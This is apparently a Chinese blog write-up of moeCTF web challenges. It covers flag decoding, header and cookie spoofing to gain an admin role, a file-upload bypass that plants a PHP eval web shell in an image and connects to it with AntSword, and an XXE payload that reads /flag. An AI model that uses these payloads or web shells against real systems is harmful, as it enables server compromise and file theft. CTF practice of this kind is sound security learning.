赞
踩
从文档中获取下面这一串数字:
666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c5131524758316379596c396a61474673624756755a3055684958303d
先进行一次16进制解码
flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=
再对=
后面的字符串进行一次base64解码,得到flag
moectf{w3lCome_To_moeCTF_W2b_challengE!!}
进来看到
任务1:使用参数 UwU=u
按照指令GET传参 "UwU=u"。
任务2:提交表单 form: Luv=u
POST传参 "Luv=u"
任务3:使用管理员角色
cookie改为admin
任务4:从 127.0.0.1 发出请求
X-Forwarded-For
任务5:使用浏览器 ‘MoeBrowser’
User-Agent
————
————
————
知识烦杂,多做几道类似的题
进来看到
ctrl+u查看源码
ctrl+f查找moectf
找到了,看上图最下方
进来看到
查看题目给的文件
api有很多种,这里是提供访问的网址
尝试访问flag
,这里要先回到根目录
提示登录,那我们先注册账号
抓包并发送到Repeater,并且根据文件提示传参
提示用户已存在,那我们直接去login文件夹尝试登录
密码错误,只有回去老实地注册账号了
斗龙战士注册成功,登录
登录成功(这里记得要把登录时的包给放回浏览器一次,为了设置cookie),再次查看flag文件夹
提示我们不是管理员,查看cookie,并将cookie进行base64解码一次
将cookie改一下,role中的user
改为admin
然后进行一次base64编码
将cookie改了
再次访问flag文件夹
得到flag
进来看到
抓包找参数
测试出
方向分别对应-1,0,1
油门分别对应
0,1,2
还需要测出所有的文字描述可能
根据此写python脚本
进来看到
查看源代码
代码审计得,前端检测必须为.png文件
我们直接上传图片马
由<?php @eval($_POST[8]);?>和一张图片组成
已合成:
上传.png文件,并抓包
发现文件upload.php
访问
代码审计
文件名处理部分:
$fileName = $file['name'];: 获取上传文件的原始文件名。
$fileNameParts = explode('.', $fileName);: 使用"."分割文件名,将文件名拆分成多个部分。
文件名验证:
if (count($fileNameParts) >= 2) { ... }: 如果文件名至少有两个部分,检查第二部分是否为"png",如果不是,返回错误信息。
否则,也返回错误信息,因为文件名没有足够的部分来确定扩展名。
文件后缀整成.png.php
,文件依然为php文件
上传后得到路径
连蚁剑
得到flag
进来看到
查看源码,找到一段js代码
<script> function submitForm(name) { var form = document.createElement("form"); form.method = "post"; form.action = "index.php"; var input = document.createElement("input"); input.type = "hidden"; input.name = "xml_content"; input.value = "<xml><name>" + name + "</name></xml>"; form.appendChild(input); document.body.appendChild(form); form.submit(); } </script>
input.value = “” + name + “”;
在这个代码片段中,将用户提供的 name 参数直接插入到 XML 数据中,没有对其进行任何过滤或转义。这意味着如果用户提供了包含外部实体引用的恶意输入,那么这些实体引用可能会被解析,从而触发 XXE
漏洞。
开启抓包,并点击一辆车
这道题和那些直接插入恶意代码的不同,得传参并进行url编码
这道题用到的恶意代码
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<xml><name>&xxe;</name></xml>
请注意这里的<xml><name> </name></xml>
不要随意变动
编码
%3C!DOCTYPE%20test%20%5B%0A%20%20%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%3E%0A%5D%3E%0A%3Cxml%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%3C%2Fxml%3E
得到flag
进来看到
——————
根据提示传参并抓包扫描1-1000
可以看到一个返回包的长度不同
可以在返回包内找到flag
进来看到
我们直接上传图片马
由<?php @eval($_POST[8]);?>和一张图片组成
已合成:
抓包,改后缀
上传成功,尝试访问
气死,怎么还是图片
胡乱改一下参数名
发现file_get_contents
函数,尝试找到flag
文件夹
(这个地方在抓一次包)
发现flag存在的位置,访问
分析源代码,利用MD5弱类型比较绕过,得到flag
进来看到
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。